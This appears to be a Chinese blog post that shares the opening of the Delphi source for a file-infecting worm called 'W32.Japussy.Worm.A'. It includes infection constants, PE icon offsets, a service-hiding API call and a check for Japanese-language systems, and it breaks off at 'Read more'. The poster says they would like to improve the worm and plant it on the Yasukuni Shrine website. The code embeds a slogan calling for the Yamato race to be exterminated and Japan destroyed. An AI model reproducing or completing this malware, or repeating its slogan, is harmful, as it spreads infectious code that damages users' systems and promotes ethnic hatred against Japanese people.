一直喜欢研究软件,不过自己是个很菜的菜鸟,当年的熊猫烧香更是疯狂一时,不过现在这代码也确实不咋样哈!
可惜我不会Delphi,不然我也把他完善了放到日本靖国神社网站上去了,哈哈哈哈!
//代码开始
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 –8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小–744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码,以备写入
Catchword = ‘If a race need to be killed out, it must be Yamato. ‘ +
‘If a country need to be destroyed, it must be Japan! ‘ +
‘*** W32.Japussy.Worm.A ***’;
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external ‘Kernel32.dll’; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x } Read more